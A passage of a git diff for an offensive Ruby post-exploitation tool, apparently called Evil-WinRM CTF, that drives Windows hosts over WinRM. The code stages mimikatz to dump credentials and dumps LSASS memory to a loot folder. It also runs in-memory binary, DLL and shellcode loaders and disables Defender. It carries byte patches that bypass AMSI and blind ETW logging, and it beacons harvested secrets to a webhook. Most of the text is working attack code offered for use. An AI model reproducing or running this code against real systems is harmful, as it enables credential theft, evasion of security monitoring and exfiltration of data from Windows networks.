'Download all missing tools into ./tools'], + ['dump_creds', 'Stage mimikatz & dump logon passwords'], + ['lsass_dump', 'Stage procdump & dump LSASS to ./loot'], + ['enum [type]', 'Run enumeration preset (basic, deep, sql, etc.)'], + ['fileops', 'File operations menu (upload/download/ZIP)'], + ['bypass-4msi', 'Try AMSI bypass'], + ['bypass-etw', 'Full ETW bypass'], + ['disable_defender', 'Try disabling Defender real-time'], + ['history', 'Show command history'], + ['history clear', 'Clear history file'], + ['profile save ', 'Save current options as profile'], + ['get-unquotedservices', 'Show all unquoted service paths'], + ['load_ps1 ', 'Upload and load PS1 script'], + ['invoke-binary [args]', 'Upload and execute binary'], + ['services', 'List services'], + ['processes', 'List processes'], + ['sysinfo', 'System info'], + ['__exit__/exit/quit', 'Exit this Evil-WinRM CTF session'], + ['!sh / !bash', 'Spawn local shell'] + ] + + help_cmds.each do |cmd, desc| + output += "\n" + " ".colorize(:light_black) + cmd.colorize(:green) + " - ".colorize(:light_black) + desc.colorize(:white) + end + + output += "\n" + "Macros: ".colorize(:cyan) + # command_manager is available via session_options[:command_manager] + cm = session_options[:command_manager] + if cm + output += cm.list_macros.join(', ').colorize(:magenta) + else + output += 'N/A' + end + + output += "\nAliases: ".colorize(:cyan) + if cm + output += cm.list_aliases.join(', ').colorize(:magenta) + else + output += 'N/A' + end + output + end + + # clear + register('clear') do |shell, args, session_options| + system('clear || cls') + '' + end + + # tools + register('tools') do |shell, args, session_options| + EvilCTF::Tools.list_available_tools + '' + end + + # download_missing + register('download_missing') do |shell, args, session_options| + EvilCTF::Tools.download_missing_tools + '' + end + + # dump_creds + register('dump_creds') do |shell, args, session_options| + logger = session_options[:logger] || OpenStruct.new + command_manager = session_options[:command_manager] + + EvilCTF::Tools.safe_autostage('mimikatz', shell, session_options, logger) + EvilCTF::Tools.safe_autostage('powerview', shell, session_options, logger) + command_manager.expand_macro('dump_creds', shell, webhook: session_options[:webhook]) + '' + end + + # lsass_dump + register('lsass_dump') do |shell, args, session_options| + logger = session_options[:logger] || OpenStruct.new + + EvilCTF::Tools.safe_autostage('procdump', shell, session_options, logger) + command_manager = session_options[:command_manager] + command_manager.expand_macro('lsass_dump', shell, webhook: session_options[:webhook]) + EvilCTF::Uploader.download_file('C:\\Users\\Public\\lsass.dmp', + "loot/lsass_#{session_options[:ip]}.dmp", + shell) + '' + end + + # fileops + register('fileops') do |shell, args, session_options| + EvilCTF::Uploader.file_operations_menu(shell) + '' + end + + # enum - handles optional type argument + register('enum') do |shell, args, session_options| + t = (args && args.strip) ? args.strip.downcase : 'basic' + + if t == 'deep' + logger = session_options[:logger] || OpenStruct.new + EvilCTF::Tools.safe_autostage('winpeas', shell, session_options, logger) + end + + if t == 'dom' + logger = session_options[:logger] || OpenStruct.new + EvilCTF::Tools.safe_autostage('powerview', shell, session_options, logger) + EvilCTF::Execution.run(shell, "IEX (Get-Content 'C:\\Users\\Public\\PowerView.ps1' -Raw)", timeout: 120) + end + + if t == 'sql' + EvilCTF::SQLEnum.run_sql_enum(shell) + else + enum_cache = session_options[:enum_cache] ||= {} + EvilCTF::Enums.run_enumeration(shell, type: t, cache: enum_cache, fresh: session_options[:fresh]) + end + '' + end + + # dom_enum + register('dom_enum') do |shell, args, session_options| + logger = session_options[:logger] || OpenStruct.new + enum_cache = session_options[:enum_cache] ||= {} + EvilCTF::Tools.safe_autostage('powerview', shell, session_options, logger) + EvilCTF::Execution.run(shell, "IEX (Get-Content 'C:\\Users\\Public\\PowerView.ps1' -Raw)", timeout: 120) + EvilCTF::Enums.run_enumeration(shell, type: 'dom', cache: enum_cache, fresh: session_options[:fresh]) + '' + end + + # disable_defender + register('disable_defender') do |shell, args, session_options| + EvilCTF::Tools.disable_defender(shell) + '' + end + + # history (show) + register('history') do |shell, args, session_options| + history = session_options[:history] + history.show if history + '' + end + + # history clear + register('history clear') do |shell, args, session_options| + history = session_options[:history] + history.clear if history + puts '[+] History cleared' + '' + end + + # profile save + register('profile save') do |shell, args, session_options| + name = args.strip if args + if name && !name.empty? + EvilCTF::Tools.save_config_profile(name, session_options) + else + puts '[*] Usage: profile save ' + end + '' + end + + # get-unquotedservices + register('get-unquotedservices') do |shell, args, session_options| + puts "[*] Getting all unquoted service paths..." + unquoted_ps = <<~POWERSHELL + Get-CimInstance -Class Win32_Service | Where-Object { + $_.PathName -notlike '`"*' -and $_.PathName -like '*.exe*' -and $_.PathName -like '* *' + } | Select-Object Name, DisplayName, PathName, State, StartMode | Format-Table -AutoSize + POWERSHELL + exec_res = EvilCTF::Execution.run(shell, unquoted_ps, timeout: 30) + puts exec_res.output + '' + end + + # bypass-4msi - AMSI bypass with detection and verification + register('bypass-4msi') do |shell, args, session_options| + output = [] + # Run detection + detect_result = EvilCTF::Execution.run(shell, EvilCTF::Tools::BYPASS_DETECTION_PS, timeout: 30) + output << detect_result.output + + # Run enhanced or standard bypass based on detection + if detect_result.output.include?("Windows 11") + output << "[*] Running enhanced Windows 11/2022+ AMSI bypass..." + else + output << "[*] Running standard AMSI bypass..." + end + + bypass_result = EvilCTF::Execution.run(shell, EvilCTF::Tools::BYPASS_4MSI_PS, timeout: 60) + output << bypass_result.output + + # Run verification + verify_result = EvilCTF::Execution.run(shell, EvilCTF::Tools::BYPASS_VERIFICATION_PS, timeout: 30) + output << verify_result.output + + output.join("\n") + end + + # bypass-etw - Full ETW bypass with detection and verification + register('bypass-etw') do |shell, args, session_options| + output = [] + # Run detection + detect_result = EvilCTF::Execution.run(shell, EvilCTF::Tools::BYPASS_DETECTION_PS, timeout: 30) + output << detect_result.output + + # Run ETW bypass + etw_result = EvilCTF::Execution.run(shell, EvilCTF::Tools::ETW_BYPASS_PS, timeout: 60) + output << etw_result.output + + # Run verification + verify_result = EvilCTF::Execution.run(shell, EvilCTF::Tools::BYPASS_VERIFICATION_PS, timeout: 30) + output << verify_result.output + + output.join("\n") + end + + # tool - handles staging and optional execution of tools + register('tool') do |shell, args, session_options| + return { ok: false, error: 'Usage: tool (or "all")' } unless args && args.strip + + key = args.strip + logger = session_options[:logger] || OpenStruct.new + + if key == 'all' + puts "[*] Staging all tools..." + EvilCTF::Tools::TOOL_REGISTRY.each_key do |tool_key| + EvilCTF::Tools.safe_autostage(tool_key, shell, session_options, logger) + end + else + puts "[*] Staging tool: #{key}" + success = EvilCTF::Tools.safe_autostage(key, shell, session_options, logger) + if success + puts "[+] Tool '#{key}' staged successfully" + tool = EvilCTF::Tools::TOOL_REGISTRY[key] + if tool && tool[:recommended_remote] + remote_path = tool[:recommended_remote] + case key.downcase + when 'mimikatz' + puts "[*] Executing mimikatz..." + ps_cmd = <<~PS + try { + \$proc = Start-Process -FilePath '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -PassThru -WindowStyle Hidden + \$proc.WaitForExit(30000) | Out-Null + if (\$proc.HasExited) { + Write-Output "Mimikatz completed with exit code: \$(\$proc.ExitCode)" + } else { + Write-Output "Mimikatz timed out after 30 seconds" + \$proc.Kill() + } + } catch { + Write-Output "Error executing mimikatz: \$_ .Exception.Message" + } + PS + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 35) + puts exec_res.output + + when 'winpeas' + puts "[*] Executing winpeas..." + ps_cmd = <<~PS + try { + \$proc = Start-Process -FilePath "cmd" -ArgumentList "/c '#{EvilCTF::Utils.escape_ps_string(remote_path)}'" -PassThru -WindowStyle Hidden + \$proc.WaitForExit(60000) | Out-Null + if (\$proc.HasExited) { + Write-Output "WinPEAS completed with exit code: \$(\$proc.ExitCode)" + } else { + Write-Output "WinPEAS timed out after 60 seconds" + \$proc.Kill() + } + } catch { + Write-Output "Error executing winpeas: \$_ .Exception.Message" + } + PS + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 70) + puts exec_res.output + + when 'procdump' + puts "[*] Executing procdump..." + ps_cmd = <<~PS + try { + \$proc = Start-Process -FilePath "cmd" -ArgumentList "/c '#{EvilCTF::Utils.escape_ps_string(remote_path)}'" -PassThru -WindowStyle Hidden + \$proc.WaitForExit(30000) | Out-Null + if (\$proc.HasExited) { + Write-Output "Procdump completed with exit code: \$(\$proc.ExitCode)" + } else { + Write-Output "Procdump timed out after 30 seconds" + \$proc.Kill() + } + } catch { + Write-Output "Error executing procdump: \$_ .Exception.Message" + } + PS + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 35) + puts exec_res.output + + when 'rubeus', 'seatbelt' + puts "[*] Executing #{key}..." + ps_cmd = <<~PS + try { + \$proc = Start-Process -FilePath '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -PassThru -WindowStyle Hidden + \$proc.WaitForExit(30000) | Out-Null + if (\$proc.HasExited) { + Write-Output "#{key.capitalize} completed with exit code: \$(\$proc.ExitCode)" + } else { + Write-Output "#{key.capitalize} timed out after 30 seconds" + \$proc.Kill() + } + } catch { + Write-Output "Error executing #{key}: \$_ .Exception.Message" + } + PS + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 35) + puts exec_res.output + + when 'inveigh', 'powerview', 'sharphound' + puts "[*] Executing #{key} PowerShell script..." + ps_script = "IEX (Get-Content '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -Raw) 2>&1" + exec_res = EvilCTF::Execution.run(shell, ps_script, timeout: 120) + puts exec_res.output + + when 'socksproxy' + puts "[*] Executing SOCKS proxy PowerShell module..." + ps_script = "Import-Module '#{EvilCTF::Utils.escape_ps_string(remote_path)}' 2>&1; Invoke-SocksProxy -Port 1080" + exec_res = EvilCTF::Execution.run(shell, ps_script, timeout: 120) + puts exec_res.output + + else + if remote_path.end_with?('.exe') + puts "[*] Executing #{key}..." + ps_cmd = <<~PS + try { + \$proc = Start-Process -FilePath '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -PassThru -WindowStyle Hidden + \$proc.WaitForExit(30000) | Out-Null + if (\$proc.HasExited) { + Write-Output "#{key.capitalize} completed with exit code: \$(\$proc.ExitCode)" + } else { + Write-Output "#{key.capitalize} timed out after 30 seconds" + \$proc.Kill() + } + } catch { + Write-Output "Error executing #{key}: \$_ .Exception.Message" + } + PS + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 35) + puts exec_res.output + else + puts "[*] Tool staged. Execute manually with: #{remote_path}" + end + end + end + else + puts "[-] Failed to stage tool '#{key}'" + end + end + '' + end + + # !bash / !sh - spawn local shell + register('!bash') do |shell, args, session_options| + puts '[*] Spawning local shell. Type "exit" to return.' + system(ENV['SHELL'] || '/bin/bash') + '' + end + + register('!sh') do |shell, args, session_options| + puts '[*] Spawning local shell. Type "exit" to return.' + system(ENV['SHELL'] || '/bin/bash') + '' + end + end + end +end diff --git a/lib/evil_ctf/connection.rb b/lib/evil_ctf/connection.rb index f86d209..ef7fadc 100644 --- a/lib/evil_ctf/connection.rb +++ b/lib/evil_ctf/connection.rb @@ -31,7 +31,7 @@ def self.build_full(opts = {}) end options = { - no_ssl_peer_verification: true, + no_ssl_peer_verification: !!opts[:ssl_no_verify], debug: !!debug } # Inject custom User-Agent if provided @@ -101,4 +101,43 @@ def close end end end + + # Validator class for testing WinRM connection validity + class ConnectionValidator + def self.validate(conn, timeout: 5) + shell = nil + result = nil + validation_result = nil + + begin + shell = conn.shell(:powershell) + result = shell.run("hostname", timeout: timeout) + hostname = result.output.to_s.strip + + validation_result = { ok: true, hostname: hostname } + rescue WinRM::WinRMAuthenticationError => e + validation_result = { ok: false, hostname: nil, error: "AuthenticationError: #{e.message}" } + rescue WinRM::WinRMEndpointError => e + validation_result = { ok: false, hostname: nil, error: "EndpointError: #{e.message}" } + rescue WinRM::WinRMAuthorizationError => e + validation_result = { ok: false, hostname: nil, error: "AuthorizationError: #{e.message}" } + rescue => e + validation_result = { ok: false, hostname: nil, error: "#{e.class}: #{e.message}" } + ensure + shell&.close + begin + conn.close if conn.respond_to?(:close) + rescue + nil + end + begin + conn.reset if conn.respond_to?(:reset) + rescue + nil + end + end + + validation_result + end + end end diff --git a/lib/evil_ctf/errors.rb b/lib/evil_ctf/errors.rb index 1555436..876a8af 100644 --- a/lib/evil_ctf/errors.rb +++ b/lib/evil_ctf/errors.rb @@ -6,5 +6,6 @@ class ConnectionError < Error; end class UploadError < Error; end class DownloadError < Error; end class CryptoError < Error; end + class ConnectionValidationFailed < Error; end end end diff --git a/lib/evil_ctf/execution.rb b/lib/evil_ctf/execution.rb index d1c9084..739d32a 100644 --- a/lib/evil_ctf/execution.rb +++ b/lib/evil_ctf/execution.rb @@ -76,9 +76,8 @@ def self.stream(shell_or_adapter, ps, timeout: 300, poll_interval: 1) # Start background job that runs the command and appends stdout/stderr to file start_job = <<~PS try { - Start-Job -ScriptBlock { #{ps} 2>&1 | Out-File -FilePath '#{remote_tmp}' -Encoding UTF8 -Append } | Out-Null - $j = (Get-Job | Where-Object { $_.State -eq 'Running' } | Select-Object -First 1).Id - Write-Output $j + $j = Start-Job -ScriptBlock { #{ps} 2>&1 | Out-File -FilePath '#{remote_tmp}' -Encoding UTF8 -Append } + if ($j) { Write-Output $j.Id } else { Write-Output "ERROR: Failed to start job" } } catch { Write-Output "ERROR: $($_.Exception.Message)" } PS diff --git a/lib/evil_ctf/session.rb b/lib/evil_ctf/session.rb index afdb54f..408198e 100644 --- a/lib/evil_ctf/session.rb +++ b/lib/evil_ctf/session.rb @@ -10,6 +10,7 @@ require_relative 'utils' require_relative 'execution' require_relative 'tui' +require_relative 'command_dispatcher' require 'readline' require 'timeout' require 'evil_ctf/uploader' @@ -83,7 +84,20 @@ def self.run_session(session_options) ) unless conn puts "[!] ERROR - Could not create WinRM connection. Check your options and try again." - return false + return [false, { ok: false, error: 'Could not create connection' }] + end + + # Validate connection and capture validation info + validation_info = nil + begin + validation_info = EvilCTF::ConnectionValidator.validate(conn, timeout: 10) + if validation_info[:ok] + puts "[+] Connection validated: #{validation_info[:hostname]}" + else + puts "[!] Connection validation failed: #{validation_info[:error]}" + end + rescue => e + validation_info = { ok: false, hostname: nil, error: "Validation error: #{e.message}" } end shell = nil @@ -124,7 +138,7 @@ def self.run_session(session_options) EvilCTF::ShellWrapper.exit_session(shell) if defined?(EvilCTF::ShellWrapper.exit_session) shell.close if shell end - return true + return [true, validation_info] end # Enumeration presets @@ -215,329 +229,60 @@ def self.run_session(session_options) end end - case input - when /^help$/i - require 'colorize' - puts "\n" + "Builtin commands:".colorize(:cyan) - help_cmds = [ - ['help', 'This help'], - ['clear', 'Clear screen'], - ['tools', 'List tool registry'], - ['download_missing', 'Download all missing tools into ./tools'], - ['dump_creds', 'Stage mimikatz & dump logon passwords'], - ['lsass_dump', 'Stage procdump & dump LSASS to ./loot'], - ['enum [type]', 'Run enumeration preset (basic, deep, sql, etc.)'], - ['fileops', 'File operations menu (upload/download/ZIP)'], - ['bypass-4msi', 'Try AMSI bypass'], - ['bypass-etw', 'Full ETW bypass'], - ['disable_defender', 'Try disabling Defender real-time'], - ['history', 'Show command history'], - ['history clear', 'Clear history file'], - ['profile save ', 'Save current options as profile'], - ['get-unquotedservices', 'Show all unquoted service paths'], - ['load_ps1 ', 'Upload and load PS1 script'], - ['invoke-binary [args]', 'Upload and execute binary'], - ['services', 'List services'], - ['processes', 'List processes'], - ['sysinfo', 'System info'], - ['__exit__/exit/quit', 'Exit this Evil-WinRM CTF session'], - ['!sh / !bash', 'Spawn local shell'] - ] - help_cmds.each do |cmd, desc| - puts " ".colorize(:light_black) + cmd.colorize(:green) + " - ".colorize(:light_black) + desc.colorize(:white) + # Command dispatch via dispatcher + dispatch_result = EvilCTF::CommandDispatcher.dispatch( + input, + input.split(/\s+/, 2)[1] || '', + shell, + session_options, + command_manager, + history + ) + + if dispatch_result[:handled] + # Command was handled by dispatcher + if dispatch_result[:ok] + puts dispatch_result[:output] if dispatch_result[:output] && !dispatch_result[:output].empty? + elsif dispatch_result[:error] + puts "[!] #{dispatch_result[:error]}" end - puts "\n" + "Macros: ".colorize(:cyan) + command_manager.list_macros.join(', ').colorize(:magenta) - puts "Aliases: ".colorize(:cyan) + command_manager.list_aliases.join(', ').colorize(:magenta) - next - - when /^clear$/i - system('clear || cls') - next - - when /^tools$/i - EvilCTF::Tools.list_available_tools - next - - when /^download_missing$/i - EvilCTF::Tools.download_missing_tools - next - - when /^dump_creds$/i - EvilCTF::Tools.safe_autostage('mimikatz', shell, session_options, logger) - EvilCTF::Tools.safe_autostage('powerview', shell, session_options, logger) - command_manager.expand_macro('dump_creds', shell, - webhook: session_options[:webhook]) - next - - when /^lsass_dump$/i - # In-memory loader commands - when /^invoke-binary\s+(.+)$/i - args = $1.strip - loader_local = File.expand_path('../../../tools/loaders/Invoke-Binary.ps1', __FILE__) - loader_remote = 'C:\\Users\\Public\\Invoke-Binary.ps1' - unless shell.run("Test-Path '#{loader_remote}'").output.strip == 'True' - puts "[*] Uploading Invoke-Binary.ps1 loader..." - EvilCTF::Uploader.upload_file(loader_local, loader_remote, shell) - end - exe, *exe_args = args.split(/\s+/, 2) - exe_args = exe_args.join(' ') - if File.exist?(exe) - remote_exe = "C:\\Users\\Public\\#{File.basename(exe)}" - puts "[*] Uploading #{exe} to #{remote_exe}..." - EvilCTF::Uploader.upload_file(exe, remote_exe, shell) - exe = remote_exe - end - ps = "IEX (Get-Content '#{loader_remote}' -Raw); Invoke-Binary -Path '#{exe}'" - ps += " -Arguments '#{exe_args}'" unless exe_args.empty? - exec_res = EvilCTF::Execution.run(shell, ps, timeout: 60) - puts exec_res.output - next - - when /^dll-loader\s+(.+)$/i - args = $1.strip - loader_local = File.expand_path('../../../tools/loaders/Dll-Loader.ps1', __FILE__) - loader_remote = 'C:\\Users\\Public\\Dll-Loader.ps1' - unless shell.run("Test-Path '#{loader_remote}'").output.strip == 'True' - puts "[*] Uploading Dll-Loader.ps1 loader..." - EvilCTF::Uploader.upload_file(loader_local, loader_remote, shell) - end - dll = args - if File.exist?(dll) - remote_dll = "C:\\Users\\Public\\#{File.basename(dll)}" - puts "[*] Uploading #{dll} to #{remote_dll}..." - EvilCTF::Uploader.upload_file(dll, remote_dll, shell) - dll = remote_dll - end - ps = "IEX (Get-Content '#{loader_remote}' -Raw); Dll-Loader -Path '#{dll}'" - exec_res = EvilCTF::Execution.run(shell, ps, timeout: 60) - puts exec_res.output - next - - when /^donut-loader\s+(.+)$/i - args = $1.strip - loader_local = File.expand_path('../../../tools/loaders/Donut-Loader.ps1', __FILE__) - loader_remote = 'C:\\Users\\Public\\Donut-Loader.ps1' - unless shell.run("Test-Path '#{loader_remote}'").output.strip == 'True' - puts "[*] Uploading Donut-Loader.ps1 loader..." - EvilCTF::Uploader.upload_file(loader_local, loader_remote, shell) - end - donutfile, processid = args.split(/\s+/, 2) - if File.exist?(donutfile) - remote_donut = "C:\\Users\\Public\\#{File.basename(donutfile)}" - puts "[*] Uploading #{donutfile} to #{remote_donut}..." - EvilCTF::Uploader.upload_file(donutfile, remote_donut, shell) - donutfile = remote_donut - end - ps = "IEX (Get-Content '#{loader_remote}' -Raw); Donut-Loader -DonutFile '#{donutfile}' -ProcessId #{processid}" - exec_res = EvilCTF::Execution.run(shell, ps, timeout: 60) - puts exec_res.output - next - EvilCTF::Tools.safe_autostage('procdump', shell, session_options, logger) - command_manager.expand_macro('lsass_dump', shell, - webhook: session_options[:webhook]) - Uploader.download_file('C:\\Users\\Public\\lsass.dmp', - "loot/lsass_#{session_options[:ip]}.dmp", - shell) - next - - when /^fileops$/i - Uploader.file_operations_menu(shell) - next - - when /^enum(?:\s+(\S+))?$/i - t = Regexp.last_match(1) || 'basic' - if t == 'deep' - EvilCTF::Tools.safe_autostage('winpeas', shell, session_options, logger) - end - if t == 'dom' - EvilCTF::Tools.safe_autostage('powerview', shell, session_options, logger) - EvilCTF::Execution.run(shell, "IEX (Get-Content 'C:\\Users\\Public\\PowerView.ps1' -Raw)", timeout: 120) - end - if t == 'sql' - EvilCTF::SQLEnum.run_sql_enum(shell) - else - EvilCTF::Enums.run_enumeration(shell, type: t, cache: enum_cache, - fresh: session_options[:fresh]) + elsif dispatch_result[:ok] + # Dispatch returned ok but no output + else + # Not handled by dispatcher - use legacy path for macros/aliases + if command_manager.expand_macro(input, shell, + webhook: session_options[:webhook]) + last_command_was_tool_upload = false + next end - next - - when /^dom_enum$/i - EvilCTF::Tools.safe_autostage('powerview', shell, session_options, logger) - EvilCTF::Execution.run(shell, "IEX (Get-Content 'C:\\Users\\Public\\PowerView.ps1' -Raw)", timeout: 120) - EvilCTF::Enums.run_enumeration(shell, type: 'dom', cache: enum_cache, - fresh: session_options[:fresh]) - next - - when /^disable_defender$/i - EvilCTF::Tools.disable_defender(shell) - next - - when /^history$/i - history.show - next - when /^history\s+clear$/i - history.clear - puts '[+] History cleared' - next - - when /^profile\s+save\s+(\S+)$/i - name = Regexp.last_match(1) - EvilCTF::Tools.save_config_profile(name, session_options) - next - - when /^get-unquotedservices$/i - puts "[*] Getting all unquoted service paths..." - unquoted_ps = <<~POWERSHELL - Get-CimInstance -Class Win32_Service | Where-Object { - $_.PathName -notlike '`"*' -and $_.PathName -like '*.exe*' -and $_.PathName -like '* *' - } | Select-Object Name, DisplayName, PathName, State, StartMode | Format-Table -AutoSize - POWERSHELL - exec_res = EvilCTF::Execution.run(shell, unquoted_ps, timeout: 30) - puts exec_res.output - next - - when /^tool\s+(\w+)$/i - key = Regexp.last_match(1) - if key == 'all' - puts "[*] Staging all tools..." - EvilCTF::Tools::TOOL_REGISTRY.each_key do |tool_key| - EvilCTF::Tools.safe_autostage(tool_key, shell, session_options, logger) + cmd = command_manager.expand_alias(input) + start = Time.now + result = shell.run(cmd) + elapsed = Time.now - start + puts result.output + # --- Session Logging: Log output --- + if session_logfile + File.open(session_logfile, 'a') do |f| + f.puts "[#{Time.now.strftime('%Y-%m-%d %H:%M:%S')}] OUT:" + f.puts result.output end - else - puts "[*] Staging tool: #{key}" - success = EvilCTF::Tools.safe_autostage(key, shell, session_options, logger) - if success - puts "[+] Tool '#{key}' staged successfully" - tool = EvilCTF::Tools::TOOL_REGISTRY[key] - if tool && tool[:recommended_remote] - remote_path = tool[:recommended_remote] - case key - when 'mimikatz' - puts "[*] Executing mimikatz..." - ps_cmd = <<~PS - try { - $proc = Start-Process -FilePath '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -PassThru -WindowStyle Hidden - $proc.WaitForExit(30000) | Out-Null - if ($proc.HasExited) { - Write-Output "Mimikatz completed with exit code: $($proc.ExitCode)" - } else { - Write-Output "Mimikatz timed out after 30 seconds" - $proc.Kill() - } - } catch { - Write-Output "Error executing mimikatz: $_.Exception.Message" - } - PS - exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 35) - puts exec_res.output - - when 'winpeas' - puts "[*] Executing winpeas..." - ps_cmd = <<~PS - try { - $proc = Start-Process -FilePath "cmd" -ArgumentList "/c '#{EvilCTF::Utils.escape_ps_string(remote_path)}'" -PassThru -WindowStyle Hidden - $proc.WaitForExit(60000) | Out-Null - if ($proc.HasExited) { - Write-Output "WinPEAS completed with exit code: $($proc.ExitCode)" - } else { - Write-Output "WinPEAS timed out after 60 seconds" - $proc.Kill() - } - } catch { - Write-Output "Error executing winpeas: $_.Exception.Message" - } - PS - exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 70) - puts exec_res.output - - when 'procdump' - puts "[*] Executing procdump..." - ps_cmd = <<~PS - try { - $proc = Start-Process -FilePath "cmd" -ArgumentList "/c '#{EvilCTF::Utils.escape_ps_string(remote_path)}'" -PassThru -WindowStyle Hidden - $proc.WaitForExit(30000) | Out-Null - if ($proc.HasExited) { - Write-Output "Procdump completed with exit code: $($proc.ExitCode)" - } else { - Write-Output "Procdump timed out after 30 seconds" - $proc.Kill() - } - } catch { - Write-Output "Error executing procdump: $_.Exception.Message" - } - PS - exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 35) - puts exec_res.output - - when 'rubeus', 'seatbelt' - puts "[*] Executing #{key}..." - ps_cmd = <<~PS - try { - $proc = Start-Process -FilePath '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -PassThru -WindowStyle Hidden - $proc.WaitForExit(30000) | Out-Null - if ($proc.HasExited) { - Write-Output "#{key.capitalize} completed with exit code: $($proc.ExitCode)" - } else { - Write-Output "#{key.capitalize} timed out after 30 seconds" - $proc.Kill() - } - } catch { - Write-Output "Error executing #{key}: $_.Exception.Message" - } - PS - exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 35) - puts exec_res.output - - when 'inveigh', 'powerview', 'sharphound' - puts "[*] Executing #{key} PowerShell script..." - ps_script = "IEX (Get-Content '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -Raw) 2>&1" - exec_res = EvilCTF::Execution.run(shell, ps_script, timeout: 120) - puts exec_res.output - - when 'socksproxy' - puts "[*] Executing SOCKS proxy PowerShell module..." - ps_script = "Import-Module '#{EvilCTF::Utils.escape_ps_string(remote_path)}' 2>&1; Invoke-SocksProxy -Port 1080" - exec_res = EvilCTF::Execution.run(shell, ps_script, timeout: 120) - puts exec_res.output - - else - if remote_path.end_with?('.exe') - puts "[*] Executing #{key}..." - ps_cmd = <<~PS - try { - $proc = Start-Process -FilePath '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -PassThru -WindowStyle Hidden - $proc.WaitForExit(30000) | Out-Null - if ($proc.HasExited) { - Write-Output "#{key.capitalize} completed with exit code: $($proc.ExitCode)" - } else { - Write-Output "#{key.capitalize} timed out after 30 seconds" - $proc.Kill() - } - } catch { - Write-Output "Error executing #{key}: $_.Exception.Message" - } - PS - exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 35) - puts exec_res.output - else - puts "[*] Tool staged. Execute manually with: #{remote_path}" - end - end - end - else - puts "[-] Failed to stage tool '#{key}'" + end + unless last_command_was_tool_upload + matches = EvilCTF::Tools.grep_output(result.output) + if matches.any? + EvilCTF::Tools.save_loot(matches) + EvilCTF::Tools.beacon_loot(session_options[:webhook], matches) if session_options[:webhook] end end - last_command_was_tool_upload = true + last_command_was_tool_upload = false - when /^!bash$/i, /^!sh$/i - puts '[*] Spawning local shell. Type "exit" to return.' - system(ENV['SHELL'] || '/bin/bash') - next + logger.log_command(cmd, result, elapsed, + '$PID', result.exitcode || 0) + sleep(rand(30..90)) if session_options[:beacon] end - # Macro expansion + # Macro expansion if command_manager.expand_macro(input, shell, webhook: session_options[:webhook]) @@ -631,7 +376,7 @@ def self.run_session(session_options) retry else puts "[!] Maximum reconnection attempts reached. Exiting." - return false + return [false, validation_info] end ensure # Ensure cleanup happens even on interruption or errors @@ -640,7 +385,7 @@ def self.run_session(session_options) end puts '[+] Session closed.' - true + [true, validation_info] end # ------------------------------------------------------------------ diff --git a/lib/evil_ctf/tools.rb b/lib/evil_ctf/tools.rb index 6a08035..10a98dc 100644 --- a/lib/evil_ctf/tools.rb +++ b/lib/evil_ctf/tools.rb @@ -228,9 +228,17 @@ module EvilCTF::Tools $amsiDll = [kernel32]::LoadLibrary("amsi.dll") $scanBuffer = [kernel32]::GetProcAddress($amsiDll, "AmsiScanBuffer") $oldProtect = 0 - [kernel32]::VirtualProtect($scanBuffer, [uint32]5, 0x40, [ref]$oldProtect) | Out-Null - $patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) - [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $scanBuffer, 6) + [kernel32]::VirtualProtect($scanBuffer, [uint32]13, 0x40, [ref]$oldProtect) | Out-Null + $patch = [Byte[]] (0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48, 0xC3) + [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $scanBuffer, 13) + # Fallback: also patch AmsiScanString (newer Windows builds) + $scanString = [kernel32]::GetProcAddress($amsiDll, "AmsiScanString") + if ($scanString -ne [IntPtr]::Zero) { + $oldProtectString = 0 + [kernel32]::VirtualProtect($scanString, [uint32]13, 0x40, [ref]$oldProtectString) | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $scanString, 13) | Out-Null + "[+] AmsiScanString patched as fallback" + } "[+] AMSI bypassed (AmsiScanBuffer patched)" try { IEX ("Am"+"siU"+"tils") } catch { "[+] Bypass confirmed" } PS @@ -246,8 +254,8 @@ module EvilCTF::Tools "@ Add-Type $kernel32 $ntdll = [kernel32]::LoadLibrary("ntdll.dll") - $funcs = @("EtwEventWrite","EtwEventWriteTransfer","EtwEventWriteFull","EtwEventWriteEx") - $patch = [Byte[]] (0x48, 0x33, 0xC0, 0xC3) + $funcs = @("EtwEventWrite","EtwEventWriteTransfer","EtwEventWriteFull","EtwEventWriteEx","EtwEventWriteNoCallback","EtwEventWriteStart","EtwEventWriteEnd","EtwEventWriteExStart") + $patch = [Byte[]] (0x48, 0x33, 0xC0, 0x48, 0x33, 0xC0, 0x48, 0xC3) foreach ($f in $funcs) { $addr = [kernel32]::GetProcAddress($ntdll, $f) if ($addr -ne 0) { @@ -259,11 +267,111 @@ module EvilCTF::Tools try { $type = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider') $field = $type.GetField('etwProvider','NonPublic,Static') - $field.SetValue($null, [Activator]::CreateInstance("System.Diagnostics.Eventing.EventProvider", [Guid]::NewGuid())) - } catch {} + if ($field -ne $null) { + $guid = [Guid]::NewGuid() + $field.SetValue($null, [Activator]::CreateInstance("System.Diagnostics.Eventing.EventProvider", $guid)) + "[+] ETW provider replaced with GUID: $($guid.ToString())" + } else { + "[+] ETW provider field not found, continuing with patch-only bypass" + } + } catch { + "[+] ETW provider replacement: $($_.Exception.Message)" + } "[+] Full ETW bypass completed" PS + # Windows version-aware bypass selector + BYPASS_DETECTION_PS = <<~PS + $osBuild = 